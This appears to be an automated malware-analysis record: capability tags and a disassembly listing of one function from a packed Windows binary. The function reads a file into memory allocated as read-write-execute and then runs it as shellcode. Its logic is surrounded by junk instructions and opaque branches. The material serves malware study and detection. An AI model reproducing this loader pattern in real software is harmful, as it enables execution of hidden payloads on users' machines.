Function at 0x1413d9770
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Packed with generic packer
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
xor eax, eax
test eax, eax
je 0x1413d9990
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, edi
add eax, eax
push rax
mov eax, dword [rbp - 0x10]
call fcn.14114a0c8
push rax
push 2
movsb byte [rdi], byte [rsi]
xchg dword [rax], eax
pushfq
xchg dword [rax], eax
mov esp, 0xc0004087
xchg dword [rax], eax
cmp dh, ah
dec dword [rbx + 0x108bf845]
call qword [rdx + 0x24]
jmp 0x1413d97f7
mov eax, ebx
mov ecx, dword [rax]
call qword [rcx - 0x17fffe9c]
pop rbp
pop rsi
add al, ch
pop rbp
pop rsi
add bl, al
pop rbp
pop rsi
add byte [rsi + 0x5e5d], ah
invalid
mov dword [rsp + 0x44], 0
xor eax, eax
test eax, eax
je 0x1413d9baf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x1c0
mov eax, dword [rbp - 0x1008]
mov ebx, dword [rax]
call qword [rbx + 0x10]
jmp 0x1413da045
xor eax, eax
test eax, eax
je 0x1413d9dc6
nop
nop
nop
nop
xor eax, eax
test eax, eax
je 0x1413d9fdd
jmp 0x1413d9dc2
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x1413da026
xor eax, eax
jmp fcn.1413dba83
xor eax, eax
test eax, eax
je 0x1413da23d
mov eax, ebx
mov ecx, dword [rax]
call qword [rcx - 0x10]
movzx eax, word [0x1418ee40e]
push rax
mov esp, dword [rax]
add byte [rdx], ah
add byte gs:[rax], ah
add byte [rax], ah
add byte [rbp], ah
insd dword [rdi], dx
add byte [rax], dh
je 0x1413da050
or ah, byte [rcx + rdi + 0x44]
add byte [rax], dl
add byte [rax], dl
push r10
jae 0x1413da0cd
outsd dx, dword [rsi]
outsb dx, byte [rsi]
jae 0x1413da075
test dword [rax], eax
movsb byte [rdi], byte [rsi]
xchg dword [rax], eax
sub byte [rdi + rax*2], dh
mov esp, 0x6c004087
add al, byte [rax]
add bh, byte [rax + 0x1004012]
mov eax, 0x1004012
add byte [rbx], al
jns 0x1413da082
jne 0x1413da0f8
jne 0x1413da0f8
je 0x1413da0f5
outsb dx, byte [rsi]
test al, 0x68
add byte [r10], r8b
add byte [rbp + 0x20040], cl
add byte [r8], bpl
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rbx], cl
insb byte [rdi], dx
je 0x1413da104
push rdx
add byte [rdx], al
add byte [rcx], cl
outsd dx, dword [rsi]
insd dword [rdi], dx
jo 0x1413da10b
jb 0x1413da111
jb 0x1413da0b0
add byte [rdx], al
invalid
push rbx
add al, 0x8b
xor byte [rbx + 0x4c89fc4d], cl
invalid
js 0x1413da12b
xor al, byte [rdx]
add byte [rdx], al
add byte [rax], cl
sub byte [rax], al
or byte [rax], al
invalid
add al, byte [rax]
add al, byte [rax]
add byte [rax], bpl
add byte [rax], cl
add byte [rsi], al
insb byte [rdi], dx
invalid
add byte [rdx], al
add byte [rax], bh
add byte [rbx + 0x72], al
invalid
jb 0x1413da178
invalid
mov dword [rbp - 4], 0x8b00ffff
clc
call fcn.14112d8f4
cmp byte [rbp - 1], 0
je 0x1413da15d
lea edx, [rcx]
push rsp
imul r14, qword [rbx + 0x74], 0x7379533c
je 0x1413da1b2
insd dword [rdi], dx
push rsp
add byte [rbx + 0x2f892], cl
add byte [rcx - 0x286917fe], dh
invalid
dec dword [rax + 0x74]
dec dword [rbx + 0x6a006af0]
add byte [rbx + 0x685048c6], cl
mov ebx, 0xfc000000
call fcn.1411e30ac
mov dword [rsi], eax
xor ebx, ebx
xor eax, eax
pop rdx
pop rcx
pop rcx
add esi, dword fs:[rbp + 0xc]
call fcn.14113fbb8
call fcn.14113fbb8
jmp 0x1413da1ea
mov dword [rsp + 0x18], eax
mov eax, dword [rsp + 0x14]
and eax, 0xffff
mov ebp, dword [rax + 0x54]
push 0x4b
add byte [rdi + rdi*8 + 0x30], ah
mov dword fs:[rax], esp
jmp 0x1413da1e8
add byte [r8 + rax], r11b
sbb al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], r8b
add byte [rbx + rdx*2], al
insb byte [rdi], dx
add al, byte [rax]
add bh, byte [rax - 0x1bffbfee]
add al, 1
add bh, bh
invalid
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0xffffffff
jne 0x1413da267
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp fcn.1413dba83
xor eax, eax
test eax, eax
je 0x1413da47e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [0x1b6aa03dc], al
add al, byte gs:[rax]
add al, byte [rax]
cmp byte [rax], al
sub byte [rsp + rbp*2], ch
add spl, sil
jmp [rcx]
mov eax, dword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x1413da4b7
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp fcn.1413dba83
xor eax, eax
test eax, eax
je 0x1413da6ce
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ebp
mov edx, dword [rax]
call qword [rdx + 0xc0]
push 0xffffffffffffffff
push rbx
push rsi
call 0x1433fa790
or dword [0x14346adf2], eax
add al, byte [rdx]
add al, byte [rdx]
add al, byte [rdx]
add bh, dh
cmp eax, edx
jne 0x1413da506
mov eax, dword [rbp - 4]
push rax
mov ecx, esi
mov edx, ebx
mov eax, dword [rbp + 0x65]
jns 0x1413da551
invalid
cmp ah, byte [rax]
push rbx
je 0x1413da57d
imul ebp, dword [rsi + 0x67], 0x2d3a29
sub byte [rsp + rbp*2], ch
or eax, 0x656c6552
invalid
mov dword fs:[rax], esp
mov eax, ebx
mov edx, dword [rax]
call qword [rdx + 0x2c]
test al, al
je fcn.1413da566
mov ecx, dword [rcx]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
jae 0x1413da5da
dec dword [rbx + 0xd0]
mov ebx, edx
test ebx, ebx
je 0x1413da58e
sub ebx, 4
mov ebx, dword [rbx]
add ebx, dword [rbp + 0x6c615605]
jne 0x1413da5fb
add al, byte [rax]
add al, byte [rax]
add byte ss:[rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], cl
mov dword [rdx], 0x1fffffff
jmp 0x1413da633
add byte [rax + rdx + 0x6f080040], bl
or al, 0xbd
add byte fs:[rdx + rsi*2], bl
invalid
push rbp
push r10
push rbx
add byte [rax], al
add ah, ah
add al, 1
add byte [rbx + 0x73], dh
jae 0x1413da673
push rsp
imul r12d, dword [rbp + 0x6c], 0x61437364
invalid
hlt
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1413da71a
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp fcn.1413dba83
xor eax, eax
test eax, eax
je 0x1413da931
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
insb byte [rdi], dx
insb byte [rdi], dx
imul esp, dword [rdi + 0x6e], 0x746e656d
add byte [rax], dl
add byte [rcx], bpl
imul esi, dword [rdx + 0x3c], 0x74737953
insd dword [rdi], dx
jae 0x1413da7c0
jb 0x1413da7b7
outsb dx, byte [rsi]
push rbx
or al, 0x83
clc
invalid
cmp eax, 6
jne 0x1413da768
cmp word [rbp - 0xc], 0
jne 0x1413da768
movzx ebp, word [rsi + 0x64]
js 0x1413da767
add byte [rdx], cl
pop rax
mov ebp, 0x20065
or al, byte [rbx + 0x6f]
cmp byte [rbp + rbx + 0x66], 0x81
inc byte [rax]
add dword [rbp + 0x16], edi
mov eax, ebx
movsx edx, si
mov edx, dword [rbx + 0x56]
mov esi, eax
mov bl, 8
mov eax, esi
call 0x1413da700
cmp al, 1
jne 0x1413da7f2
je 0x1413da7fc
outsd dx, dword [rsi]
outsb dx, byte [rsi]
add byte [rax - 0x6bffbfe1], ah
add eax, 0xae480056
add dword [rax], eax
pop rdi
push rsp
outsd dx, dword [rsi]
insd dword [rdi], dx
jo 0x1413da80a
jb 0x1413da810
jb 0x1413da7e9
push rbx
jns 0x1413da823
add dword [rdx], 0xffffffe8
adc byte [rsi + rdi*8 - 1], cl
add esp, 4
lea eax, [rbp - 8]
inc dword [rbx + 0x458d04c4]
clc
push rax
mov ecx, 0x8bc04d8d
push rbp
loopne 0x1413da752
lea ecx, [rbp - 0x40]
mov edx, dword [rbp - 0x20]
mov eax, esi
mov edi, dword [rax]
call qword [rdi + 0xc]
push qword [rbp - 0x40]
je 0x1413da7d6
invalid
mov dword [rax], esi
jmp 0x1413da7da
xor edx, edx
mov dword [rax], edx
pop rsi
pop rbx
ret
add al, 0x53
insb byte [rdi], dx
add al, byte [rax]
push rdx
js 0x1413da777
test al, al
jne 0x1413da7fa
sal byte [rbp + 4], 0x33
fucomi st(3)
sbb eax, 0x8b5601b3
invalid
xor ebx, ebx
jmp 0x1413da817
mov bl, 1
push rsi
mov eax, edi
call 0x1413ca805
add al, byte [rax]
add byte [rax], al
push rax
insb byte [rdi], dx
add byte [rax], al
add byte [rax], al
add bh, bh
xor byte [rcx + rcx*4 + 0x20], ah
push qword [rax]
mov dword fs:[rax], esp
movabs eax, dword [0xc03300ff006ce8cc]
call 0x1423ca888
xor eax, eax
push rbp
push 0xffffffffeb107206
sbb al, 0xc7
add al, 1
add byte [rax], al
add byte [rax - 0x4dfffffe], bh
add dword [rcx + 0x41c434], esp
call fcn.1413da90c
jmp 0x1263bb0f4
jmp 0x1413da841
invalid
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x48], eax
je 0x1413da960
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp fcn.1413dba83
xor eax, eax
test eax, eax
je 0x1413dab77
nop
nop